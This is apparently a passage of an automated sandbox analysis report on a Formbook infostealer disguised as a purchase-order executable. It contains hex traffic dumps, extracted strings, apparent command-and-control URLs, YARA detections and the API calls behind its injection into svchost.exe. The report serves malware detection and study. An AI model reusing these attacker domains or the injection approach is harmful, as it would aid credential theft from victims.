b2 4d d4 71 24 92 15 4e d8 02 ab 92 70 2c a2 e7 34 d6 98 a5 12 42 8a b3 31 ce 26 38 db c3 d9 3e ce 0e 70 76 88 4b 1c e5 22 3e 7b 51 09 4d 71 29 29 26 51 24 31 49 12 49 95 c2 31 83 d1 58 24 14 27 34 c7 49 ca 31 2d 30 78 8a 19 57 f8 2c 4a f0 0b ac 48 51 62 55 90 3c c7 4a 4b c1 e7 58 55 11 fc 96 78 41 24 8e 30 c3 09 ac d4 38 49 b0 c8 71 95 e3 9c e1 94 d1 3c 81 a8 e1 54 c8 02 43 c0 41 78 4e e7 94 27 38 26 a5 66 82 63 22 35 8b 73 30 47 31 d0 1e 13 be 20 0a 8c d0 84 e5 0a d6 cf db 79 70 5b 81 d5 a9 00 fb 25 ce 00 ae e6 32 97 02 0c 28 28 af 30 27 10 09 08 81 11 aa aa a2 20 72 85 35 83 58 c0 dd 19 26 55 c2 04 5e 80 0e 81 d6 30 32 67 3c 18 85 25 f8 6f 12 33 0a eb d4 c0 8d a8 34 00 81 c2 dd 82 1a d3 00 39 24 67 73 1e 44 44 51 f3 26 8c 48 7c 66 f4 f2 24 d0 92 70 88 be 84 ea 08 fb ec 6c ba 74 4f 5f 1c 37 d0 3a 61 aa cc c9 2a b0 a9 73 34 98 fc a3 75 0a 95 68 a0 45 83 f1 61 b9 0c 8d 71 7e 46 d9 3c d3 c1 64 1f 06 6c 01 04 e3 d1 e8 fd b0 19 b6 f7 2d f4 4c fd da e5 3e 49 9e 57 4a d7 33 fd 42 f9 bb df 08 08 48 0a c5 e8 af 02 15 4b a8 cb b0 1b 59 06 19 4b 12 ca 1d 13 01 3c 68 7d 23 84 05 4c ca 69 58 90 65 5d 9c 1b b6 91 4a 8b 3e 0d c6 0c 06 b4 23 4b 91 13 93 53 a8 a5 84 06 11 8b 2b f8 75 f4 98 2a 80 8c 32 de ba 6e 7d 74 72 f4 30 dd 4f 0f d3 e3 d0 3a 05 99 02 dc 98 94 0b 80 5f 01 ce ff 88 ce 59 c4 72 a6 57 5d 60 ea b8 16 80 b4 cc cc 24 dc f0 07 83 f4 27 a1 ad 68 a1 96 fe 8d 39 73 49 56 96 60 42 fb 22 25 05 cb 57 81 f7 94 e6 0b 6a 40 84 7e 42 2b ea e1 ee 19 7b 1f 82 e8 0f 08 9f a3 8f 9e 78 d8 7b ca 24 01 48 0a f4 11 00 0a fd f0 7b 30 f4 63 06 41 56 22 d5 e8 63 f2 94 32 0f 5f fd eb 1f 6f bf ba b8 fe fc 57 d7 6f 3e c3 df 95 60 13 d4 24 57 3e d0 19 4b 9d 88 0c a0 9c 88 4c d9 12 ad ed 1d d0 8e ce c2 97 42 14 c1 78 d7 b4 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 23 Sep 2024 12:40:13 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingContent-Encoding: gzipData Raw: 37 62 36 0d 0a 1f 8b 08 00 00 00 00 00 00 03 a5 58 5b 8f dc b6 15 7e f7 af 60 64 04 b0 5b 6a 6e 7b 97 66 16 6d dd a6 7e e8 25 40 dc 87 00 7d a1 24 6a 44 af 44 ca 24 35 3b e3 41 81 be 14 05 0a 04 41 00 17 6d 91 de f2 50 20 2f ed 3e 15 30 60 a4 fd 33 bb ad f7 5f f4 90 ba 71 76 66 e3 dd 74 ed 5d 49 14 79 ae df f9 0e c5 e9 7b df ff e9 93 67 1f 7f f8 03 94 e9 22 3f 7d 30 6d 2f 94 24 a7 0f 10 fc 4c 0b aa 09 bc d5 a5 4f 5f 54 6c 31 f3 9e 08 ae 29 d7 fe b3 55 49 3d 14 d7 4f 33 4f d3 a5 1e 9a e5 61 9c 11 a9 a8 9e fd ec d9 07 fe b1 d7 88 d1 4c e7 f4 f4 ea d3 cf fe fb ea 2f d7 af fe f0 f6 e2 62 3a ac c7 1c 35 9c 14 74 e6 49 11 09 ad 1c d1 5c 30 9e d0 25 e6 22 15 79 2e ce 3d 34 74 8d ab 57 2d 18 3d 2f 85 d4 ce ba 73 96 e8 6c 96 d0 05 8b a9 6f 1f 30 62 9c 69 46 72 5f c5 24 a7 b3 31 46 95 a2 d2 3e 91 08 06 b8 68 0d ce 19 3f 43 92 e6 33 4f 65 20 36 ae 34 62 e0 ac 87 32 49 d3 99 37 24 0a 7c 54 43 56 cc 87 29 01 0d 82 0f e0 4f 6f 9a d2 2b 70 d8 3a 67 7e be 85 d6 7e 21 5e fa 91 58 fa 8a bd 64 7c 1e 44 42 26 a0 1b 46 42 ff 9c 46 67 4c df f2 76 f7 9a 5f 74 b2 4d d4 71 24 92 15 4e d8 02 ab 92 70 2c a2 e7 34 d6 98 a5 12 42 8a b3 31 ce 26 38 db c3 d9 3e ce 0e 70 76 88 4b 1c e5 22 3e 7b 51 09 4d 71 29 29 26 51 24 31 49 12 49 95 c2 31 83 d1 58 24 14 27 34 c7 49 ca 31 2d 30 78 8a 19 57 f8 2c 4a f0 0b ac 48 51 62 55 90 3c c7 4a 4b c1 e7 58 55 11 fc 96 78 41 24 8e 30 c3 09 ac d4 38 49 b0 c8 71 95 e3 9c e1 94 d1 3c 81 a8 e1 54 c8 02 43 c0 41 78 4e e7 94 27 38 26 a5 66 82 63 22 35 8b 73 30 47 31 d0 1e 13 be 20 0a 8c d0 84 e5 0a d6 cf db 79 70 5b 81 d5 a9 00 fb 25 ce 00 ae e6 32 97 02 0c 28 28 af 30 27 10 09 08 81 11 aa aa a2 20 72 85 35 83 58 c0 dd 19 26 55 c2 04 5e 80 0e 81 d6 30 32 67 3c 18 85 25 f8 6f 12 33 0a eb d4 c0 8d a8 34 00 81 c2 dd 82 1a d3 00 39 24 67 73 1e 44 44 51 f3 26 8c 48 7c 66 f4 f2 24 d0 92 70 88 be 84 ea 08 fb ec 6c ba 74 4f 5f 1c 37 d0 3a 61 aa cc c9 2a b0 a9 73 34 98 fc a3 75 0a 95 68 a0 45 83 f1 61 b9 0c 8d 71 7e 46 d9 3c d3 c1 64 1f 06 6c 01 04 e3 d1 e8 fd b0 19 b6 f7 2d f4 4c fd da e5 3e 49 9e 57 4a d7 33 fd 42 f9 bb df 08 08 48 0a c5 e8 af 02 15 4b a8 cb b0 1b 59 06 19 4b 12 ca 1d 13 01 3c 68 7d 23 84 05 4c ca 69 58 90 65 5d 9c 1b b6 91 4a 8b 3e 0d c6 0c 06 b4 23 4b 91 13 93 53 a8 a5 84 06 11 8b 2b f8 75 f4 98 2a 80 8c 32 de ba 6e 7d 74 72 f4 30 dd 4f 0f d3 e3 d0 3a 05 99 02 dc 98 94 0b 80 5f 01 ce ff 88 ce 59 c4 72 a6 57 5d 60 ea b8 16 80 b4 cc cc 24 dc f0 07 83 f4 27 a1 ad 68 a1 96 fe 8d 39 73 49 56 96 60 42 fb 22 25 05 cb 57 81 f7 94 e6 0b 6a 40 84 7e 42 2b ea e1 ee 19 7b 1f 82 e8 0f 08 9f a3 8f 9e 78 d8 7b ca 24 01 48 0a f4 11 00 0a fd f0 7b 30 f4 63 06 41 56 22 d5 e8 63 f2 94 32 0f 5f fd eb 1f 6f bf ba b8 fe fc 57 d7 6f 3e c3 df 95 60 13 d4 24 57 3e d0 19 4b 9d 88 0c a0 9c 88 4c d9 12 ad ed 1d d0 8e ce c2 97 42 14 c1 78 d7 b4 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 23 Sep 2024 12:40:16 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingData Raw: 31 34 31 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e e5 8f 91 e7 94 9f e9 94 99 e8 af af 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 61 73 73 65 74 73 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 2f 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2a 20 7b 2d 6d 6f 7a 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 7d 0a 20 20 20 20 20 20 20 20 68 74 6d 6c 2c 62 6f 64 79 2c 64 69 76 2c 73 70 61 6e 2c 6f 62 6a 65 63 74 2c 69 66 72 61 6d 65 2c 68 31 2c 68 32 2c 68 33 2c 68 34 2c 68 35 2c 68 36 2c 70 2c 62 6c 6f 63 6b 71 75 6f 74 65 2c 70 72 65 2c 61 62 62 72 2c 61 64 64 72 65 73 73 2c 63 69 74 65 2c 63 6f 64 65 2c 64 65 6c 2c 64 66 6e 2c 65 6d 2c 69 6d 67 2c 69 6e 73 2c 6b 62 64 2c 71 2c 73 61 6d 70 2c 73 6d 61 6c 6c 2c 73 74 72 6f 6e 67 2c 73 75 62 2c 73 75 70 2c 76 61 72 2c 62 2c 69 2c 64 6c 2c 64 74 2c 64 64 2c 6f 6c 2c 75 6c 2c 6c 69 2c 66 69 65 6c 64 73 65 74 2c 66 6f 72 6d 2c 6c 61 62 65 6c 2c 6c 65 67 65 6e 64 2c 63 61 70 74 69 6f 6e 2c 61 72 74 69 63 6c 65 2c 61 73 69 64 65 2c 63 61 6e 76 61 73 2c 64 65 74 61 69 6c 73 2c 66 69 67 63 61 70 74 69 6f 6e 2c 66 69 67 75 72 65 2c 66 6f 6f 74 65 72 2c 68 65 61 64 65 72 2c 68 67 72 6f 75 70 2c 6d 65 6e 75 2c 6e 61 76 2c 73 65 63 74 69 6f 6e 2c 73 75 6d 6d 61 72 79 2c 74 69 6d 65 2c 6d 61 72 6b 2c 61 75 64 69 6f 2c 76 69 64 65 6f 20 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 3b 62 6f 72 64 65 72 3a 30 3b 6f 75 74 6c 69 6e 65 3a 30 3b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 62 61 73 65 6c 69 6e 65 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 74 72 61 6e 73 70 61 72 65 6e 74 3b 7d 0a 20 20 20 20 20 20 20 20 61 72 74 69 63 6c 65 2c 61 73 69 64 65 2c 64 65 74 61 69 6c 73 2c 66 69 67 63 61 70 74 69 6f 6e 2c 66 69 67 75 72 65 2c 66 6f 6f 74 65 72 2c 68 65 61 64 65 72 2c 68 67 72 6f 75 70 2c

Source: grpconv.exe, 00000005.00000002.3870343838.00000000050C6000.00000004.10000000.00040000.00000000.sdmp, JkyHsYXxoyjW.exe, 00000006.00000002.3868956155.00000000031E6000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://tempatmudisini01.click/phdl/?76=RacNMaTPN8PTLvXR9NF5eW2iQDieTkk5np6gf4eeXsIapVFDjThj3jiQkVzZm
Source: JkyHsYXxoyjW.exe, 00000006.00000002.3871192963.00000000050F6000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.bodegamayorista.online
Source: JkyHsYXxoyjW.exe, 00000006.00000002.3871192963.00000000050F6000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.bodegamayorista.online/8xob/
Source: grpconv.exe, 00000005.00000002.3870343838.000000000607A000.00000004.10000000.00040000.00000000.sdmp, JkyHsYXxoyjW.exe, 00000006.00000002.3868956155.000000000419A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.chalet-tofane.net:80/uesf/?76=z4JBjkhdawOvrgQ3/n9w4VhuG3
Source: grpconv.exe, 00000005.00000003.1820031879.00000000074EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: grpconv.exe, 00000005.00000003.1820031879.00000000074EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: grpconv.exe, 00000005.00000003.1820031879.00000000074EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: grpconv.exe, 00000005.00000003.1820031879.00000000074EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: grpconv.exe, 00000005.00000003.1820031879.00000000074EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: grpconv.exe, 00000005.00000003.1820031879.00000000074EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: grpconv.exe, 00000005.00000003.1820031879.00000000074EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: grpconv.exe, 00000005.00000002.3859947867.00000000027CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
Source: grpconv.exe, 00000005.00000002.3859947867.00000000027CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
Source: grpconv.exe, 00000005.00000002.3859947867.00000000027CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
Source: grpconv.exe, 00000005.00000002.3859947867.00000000027CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033LMEM
Source: grpconv.exe, 00000005.00000002.3859947867.00000000027B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033
Source: grpconv.exe, 00000005.00000002.3859947867.00000000027CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
Source: grpconv.exe, 00000005.00000002.3859947867.00000000027B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
Source: grpconv.exe, 00000005.00000003.1815230743.00000000074CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfhttps://login.live.com/oauth20_authorize.srfhttps://login.l
Source: grpconv.exe, 00000005.00000002.3870343838.0000000005BC4000.00000004.10000000.00040000.00000000.sdmp, JkyHsYXxoyjW.exe, 00000006.00000002.3868956155.0000000003CE4000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.deefbank.net/i06p/?76=Vpg7jNNJFscOYvB4AFVvnCABD6vaG9WwQKsmOhPgVM6zGb6O3kTWptBkzi24RSKPCb
Source: grpconv.exe, 00000005.00000003.1820031879.00000000074EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: grpconv.exe, 00000005.00000002.3870343838.0000000005EE8000.00000004.10000000.00040000.00000000.sdmp, JkyHsYXxoyjW.exe, 00000006.00000002.3868956155.0000000004008000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: grpconv.exe, 00000005.00000003.1820031879.00000000074EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: grpconv.exe, 00000005.00000002.3870343838.00000000053EA000.00000004.10000000.00040000.00000000.sdmp, JkyHsYXxoyjW.exe, 00000006.00000002.3868956155.000000000350A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.rtpngk.xyz/yhsl/?76=5EuG8q3RnsmESHA8JVSnlizd0lq9q8glk1nzqEFI9PKQqCJAfa6foAENeypwFyQKjeyo

Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe

Code function: 0_2_0045A10F OpenClipboard,EmptyClipboard,CloseClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

0_2_0045A10F

Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe

Code function: 0_2_0045A10F OpenClipboard,EmptyClipboard,CloseClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

0_2_0045A10F

Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe

Code function: 0_2_0046DC80 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,

0_2_0046DC80

Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe

Code function: 0_2_0044C37A GetKeyboardState,SetKeyboardState,PostMessageW,PostMessageW,SendInput,

0_2_0044C37A

Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe

Code function: 0_2_0047C81C SendMessageW,NtdllDialogWndProc_W,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,742845F0,SendMessageW,SendMessageW,SendMessageW,_wcsncpy,SendMessageW,SendMessageW,SendMessageW,InvalidateRect,SendMessageW,6FE0CB00,6FE0C2F0,SetCapture,ClientToScreen,6FE0C530,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,742845F0,

0_2_0047C81C

E-Banking Fraud

Malicious sample detected (through community Yara rule)

Source: Yara match	File source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.1627616041.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3868781566.00000000041B0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1628046718.0000000003640000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3868947164.0000000004200000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3858711840.00000000002D0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3871192963.00000000050A0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1628574210.0000000003B50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3865120217.0000000002590000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

System Summary

Source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000002.00000002.1627616041.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000005.00000002.3868781566.00000000041B0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000002.00000002.1628046718.0000000003640000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000005.00000002.3868947164.0000000004200000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000005.00000002.3858711840.00000000002D0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000006.00000002.3871192963.00000000050A0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000002.00000002.1628574210.0000000003B50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000003.00000002.3865120217.0000000002590000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown

Initial sample is a PE file and has a suspicious name

Source: initial sample

Static PE information: Filename: Purchase Order_ AEPL-2324-1126.exe

Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe	Code function: 0_2_0046A07E PostMessageW,GetFocus,GetDlgCtrlID,PostMessageW,NtdllDialogWndProc_W,GetMenuItemInfoW,GetMenuItemCount,GetMenuItemID,GetMenuItemInfoW,GetMenuItemInfoW,CheckMenuRadioItem,NtdllDialogWndProc_W,	0_2_0046A07E
Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe	Code function: 0_2_004710F1 NtdllDialogWndProc_W,6FE0C580,6FE0C6F0,ReleaseCapture,SetWindowTextW,SendMessageW,NtdllDialogWndProc_W,	0_2_004710F1
Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe	Code function: 0_2_0045034C GetParent,NtdllDialogWndProc_W,	0_2_0045034C
Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe	Code function: 0_2_0044036A NtdllDialogWndProc_W,	0_2_0044036A
Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe	Code function: 0_2_00440306 NtdllDialogWndProc_W,	0_2_00440306
Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe	Code function: 0_2_0047132F NtdllDialogWndProc_W,	0_2_0047132F
Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe	Code function: 0_2_00440338 NtdllDialogWndProc_W,	0_2_00440338
Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe	Code function: 0_2_0046A38E NtdllDialogWndProc_W,NtdllDialogWndProc_W,	0_2_0046A38E
Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe	Code function: 0_2_0045039B GetParent,NtdllDialogWndProc_W,NtdllDialogWndProc_W,NtdllDialogWndProc_W,	0_2_0045039B
Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe	Code function: 0_2_004404E8 GetSystemMetrics,MoveWindow,SendMessageW,InvalidateRect,SendMessageW,ShowWindow,NtdllDialogWndProc_W,	0_2_004404E8
Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe	Code function: 0_2_0044048E NtdllDialogWndProc_W,	0_2_0044048E
Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe	Code function: 0_2_0044786A NtdllDialogWndProc_W,	0_2_0044786A
Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe	Code function: 0_2_0047C81C SendMessageW,NtdllDialogWndProc_W,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,742845F0,SendMessageW,SendMessageW,SendMessageW,_wcsncpy,SendMessageW,SendMessageW,SendMessageW,InvalidateRect,SendMessageW,6FE0CB00,6FE0C2F0,SetCapture,ClientToScreen,6FE0C530,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,742845F0,	0_2_0047C81C
Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe	Code function: 0_2_004478AC GetCursorPos,TrackPopupMenuEx,NtdllDialogWndProc_W,GetCursorPos,TrackPopupMenuEx,	0_2_004478AC
Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe	Code function: 0_2_004479A0 GetClientRect,GetCursorPos,ScreenToClient,WindowFromPoint,NtdllDialogWndProc_W,	0_2_004479A0
Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe	Code function: 0_2_004629B7 NtdllDialogWndProc_W,NtdllDialogWndProc_W,	0_2_004629B7
Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe	Code function: 0_2_0047EA6F NtdllDialogWndProc_W,	0_2_0047EA6F
Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe	Code function: 0_2_00447ABC SendMessageW,NtdllDialogWndProc_W,	0_2_00447ABC
Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe	Code function: 0_2_00447B4E NtdllDialogWndProc_W,	0_2_00447B4E
Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe	Code function: 0_2_00454CFC NtdllDialogWndProc_W,	0_2_00454CFC
Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe	Code function: 0_2_00454D4A NtdllDialogWndProc_W,	0_2_00454D4A
Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe	Code function: 0_2_0042FDA6 ClientToScreen,6FE0C5D0,NtdllDialogWndProc_W,	0_2_0042FDA6
Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe	Code function: 0_2_0042FE05 742845F0,NtdllDialogWndProc_W,	0_2_0042FE05
Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe	Code function: 0_2_00470E96 DragQueryPoint,SendMessageW,SendMessageW,DragQueryFileW,DragQueryFileW,_wcscat,SendMessageW,SendMessageW,SendMessageW,SendMessageW,DragFinish,NtdllDialogWndProc_W,	0_2_00470E96
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0042C593 NtClose,	2_2_0042C593
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03772B60 NtClose,LdrInitializeThunk,	2_2_03772B60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03772DF0 NtQuerySystemInformation,LdrInitializeThunk,	2_2_03772DF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037735C0 NtCreateMutant,LdrInitializeThunk,	2_2_037735C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03774340 NtSetContextThread,	2_2_03774340
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03774650 NtSuspendThread,	2_2_03774650
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03772BF0 NtAllocateVirtualMemory,	2_2_03772BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03772BE0 NtQueryValueKey,	2_2_03772BE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03772BA0 NtEnumerateValueKey,	2_2_03772BA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03772B80 NtQueryInformationFile,	2_2_03772B80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03772AF0 NtWriteFile,	2_2_03772AF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03772AD0 NtReadFile,	2_2_03772AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03772AB0 NtWaitForSingleObject,	2_2_03772AB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03772F60 NtCreateProcessEx,	2_2_03772F60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03772F30 NtCreateSection,	2_2_03772F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03772FE0 NtCreateFile,	2_2_03772FE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03772FB0 NtResumeThread,	2_2_03772FB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03772FA0 NtQuerySection,	2_2_03772FA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03772F90 NtProtectVirtualMemory,	2_2_03772F90
